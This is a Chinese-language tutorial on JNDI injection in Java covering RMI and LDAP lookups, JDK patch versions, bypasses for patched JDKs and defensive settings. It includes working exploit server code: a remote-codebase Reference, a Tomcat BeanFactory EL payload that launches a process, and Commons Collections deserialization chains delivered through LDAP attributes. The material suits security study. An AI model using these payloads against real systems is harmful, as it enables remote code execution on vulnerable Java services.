由浅继深的了解JNDI安全
字数 2044 2025-08-18 11:35:30

JNDI注入安全研究:从原理到利用

1. JNDI基础概念

JNDI (Java Naming and Directory Interface) 是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。关键特性包括:

  • 独立于底层实现
  • 提供SPI (Service Provider Interface) 允许将目录服务实现插入框架
  • 查询信息可能来自服务器、文件或数据库

2. JNDI注入基础利用

2.1 RMI协议利用

基本示例

服务端代码

public class JNDIServer {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        LocateRegistry.createRegistry(1099);
        initialContext.rebind("rmi://localhost:1099/remoteOb", new RemoteObImpl());
    }
}

客户端代码

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        IRemoteObj o = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteOb");
        System.out.println(o.sayHello("hello"));
    }
}

攻击原理

当客户端lookup参数可控时,可以使其访问恶意RMI链接。攻击流程:

  1. 客户端调用lookup方法
  2. 最终调用RegistryContext类的lookup方法
  3. 获取ReferenceWrapper_Stub对象
  4. 服务端通过encodeObjectReference转为ReferenceWrapper
  5. 客户端获取后进行decode操作

2.2 引用对象绑定

恶意服务端示例

public class JNDIServer {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("TestRef", "TestRef", "http://localhost:6666/");
        initialContext.rebind("rmi://localhost:1099/remoteOb", reference);
    }
}

Reference类关键参数:

  • className: 对象类名
  • factory: 工厂类名
  • factoryLocation: 工厂加载位置(URL)

攻击流程

  1. 客户端获取Reference后调用NamingManager.getObjectInstance()
  2. 调用getObjectFactoryFromReference从引用获取对象工厂
  3. 首先尝试本地AppClassLoader加载(失败)
  4. 使用codebase(factoryLocation)通过URLClassLoader加载远程类
  5. 实例化并执行恶意代码

2.3 JDK修复措施

在以下版本中Java限制了RMI远程加载:

  • JDK 6u132
  • JDK 7u122
  • JDK 8u113

修复方式:

  • com.sun.jndi.rmi.object.trustURLCodebase
  • com.sun.jndi.cosnaming.object.trustURLCodebase
    默认值设为false

3. LDAP协议利用

3.1 LDAP与RMI的区别

在以下版本前LDAP仍可利用:

  • JDK 11.0.1
  • 8u191
  • 7u201
  • 6u211

客户端示例

public static void main(String[] args) throws NamingException {
    Object object = new InitialContext().lookup("ldap://127.0.0.1:1389/koh13g");
}

攻击流程

  1. 调用栈进入PartialCompositeContext.lookup
  2. 调用p_lookupc_lookup方法
  3. 调用decodeObject方法(与RMI不同实现)
  4. 判断为引用时调用decodeReference
  5. 调用DirectoryManager.getObjectInstance()
  6. 后续流程与RMI类似,通过codebase加载

3.2 LDAP修复措施

在以下版本中修复:

  • JDK 11.0.1
  • 8u191
  • 7u201
  • 6u211

com.sun.jndi.ldap.object.trustURLCodebase默认值设为false

4. 高版本JDK绕过技术

4.1 利用本地类

要求:

  1. 类必须实现javax.naming.spi.ObjectFactory接口
  2. 必须存在getObjectInstance()方法
  3. 常用类:org.apache.naming.factory.BeanFactory(Tomcat依赖)

服务端示例

public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1097);
    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "x=eval"));
    ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("Object", referenceWrapper);
}

攻击流程

  1. 指定本地工厂类org.apache.naming.factory.BeanFactory
  2. 通过getObjectFactoryFromReference本地加载
  3. 反射调用invoke执行EL表达式

4.2 触发本地Gadget

利用本地存在的漏洞依赖(如Commons Collections)

服务端示例

private static byte[] CommonsCollections5() throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    // ... 构造CC链
    return byteArrayOutputStream.toByteArray();
}

LDAP属性设置

e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", CommonsCollections5());

反序列化流程

  1. 进入Obj.decodeObject方法
  2. 检查javaSerializedData属性
  3. 调用deserializeObject反序列化恶意数据

4.3 通过javaReferenceAddress反序列化

服务端设置

e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress", "$1$String
$$
" + new BASE64Encoder().encode(CommonsCollections5()));
e.addAttribute("objectClass", "javaNamingReference");

要求

  1. javaReferenceAddress格式:
    • 第一个字符为分隔符
    • 第一与第二分隔符间为int类型position
    • 第二与第三分隔符间为type
    • 第三个分隔符为双分隔符时触发反序列化
  2. 数据需Base64编码
  3. javaClassName属性必须存在

5. 防御措施

  1. 升级JDK到安全版本
  2. 限制JNDI查找参数不可控
  3. 设置系统属性限制远程加载:
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    
  4. 检查并移除不必要的危险依赖

6. 参考链接

  1. Exploiting JNDI Injections in Java - Veracode
  2. JNDI注入漏洞分析 - 阿里云社区
  3. JNDI注入相关视频教程 - Bilibili
JNDI注入安全研究:从原理到利用 1. JNDI基础概念 JNDI (Java Naming and Directory Interface) 是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。关键特性包括: 独立于底层实现 提供SPI (Service Provider Interface) 允许将目录服务实现插入框架 查询信息可能来自服务器、文件或数据库 2. JNDI注入基础利用 2.1 RMI协议利用 基本示例 服务端代码 : 客户端代码 : 攻击原理 当客户端 lookup 参数可控时,可以使其访问恶意RMI链接。攻击流程: 客户端调用 lookup 方法 最终调用 RegistryContext 类的 lookup 方法 获取 ReferenceWrapper_Stub 对象 服务端通过 encodeObject 将 Reference 转为 ReferenceWrapper 客户端获取后进行 decode 操作 2.2 引用对象绑定 恶意服务端示例 : Reference 类关键参数: className : 对象类名 factory : 工厂类名 factoryLocation : 工厂加载位置(URL) 攻击流程 客户端获取 Reference 后调用 NamingManager.getObjectInstance() 调用 getObjectFactoryFromReference 从引用获取对象工厂 首先尝试本地 AppClassLoader 加载(失败) 使用 codebase (factoryLocation)通过 URLClassLoader 加载远程类 实例化并执行恶意代码 2.3 JDK修复措施 在以下版本中Java限制了RMI远程加载: JDK 6u132 JDK 7u122 JDK 8u113 修复方式: 将 com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase 默认值设为 false 3. LDAP协议利用 3.1 LDAP与RMI的区别 在以下版本前LDAP仍可利用: JDK 11.0.1 8u191 7u201 6u211 客户端示例 : 攻击流程 调用栈进入 PartialCompositeContext.lookup 调用 p_lookup 和 c_lookup 方法 调用 decodeObject 方法(与RMI不同实现) 判断为引用时调用 decodeReference 调用 DirectoryManager.getObjectInstance() 后续流程与RMI类似,通过 codebase 加载 3.2 LDAP修复措施 在以下版本中修复: JDK 11.0.1 8u191 7u201 6u211 将 com.sun.jndi.ldap.object.trustURLCodebase 默认值设为 false 4. 高版本JDK绕过技术 4.1 利用本地类 要求: 类必须实现 javax.naming.spi.ObjectFactory 接口 必须存在 getObjectInstance() 方法 常用类: org.apache.naming.factory.BeanFactory (Tomcat依赖) 服务端示例 : 攻击流程 : 指定本地工厂类 org.apache.naming.factory.BeanFactory 通过 getObjectFactoryFromReference 本地加载 反射调用 invoke 执行EL表达式 4.2 触发本地Gadget 利用本地存在的漏洞依赖(如Commons Collections) 服务端示例 : LDAP属性设置 : 反序列化流程 进入 Obj.decodeObject 方法 检查 javaSerializedData 属性 调用 deserializeObject 反序列化恶意数据 4.3 通过javaReferenceAddress反序列化 服务端设置 : 要求 : javaReferenceAddress 格式: 第一个字符为分隔符 第一与第二分隔符间为int类型position 第二与第三分隔符间为type 第三个分隔符为双分隔符时触发反序列化 数据需Base64编码 javaClassName 属性必须存在 5. 防御措施 升级JDK到安全版本 限制JNDI查找参数不可控 设置系统属性限制远程加载: 检查并移除不必要的危险依赖 6. 参考链接 Exploiting JNDI Injections in Java - Veracode JNDI注入漏洞分析 - 阿里云社区 JNDI注入相关视频教程 - Bilibili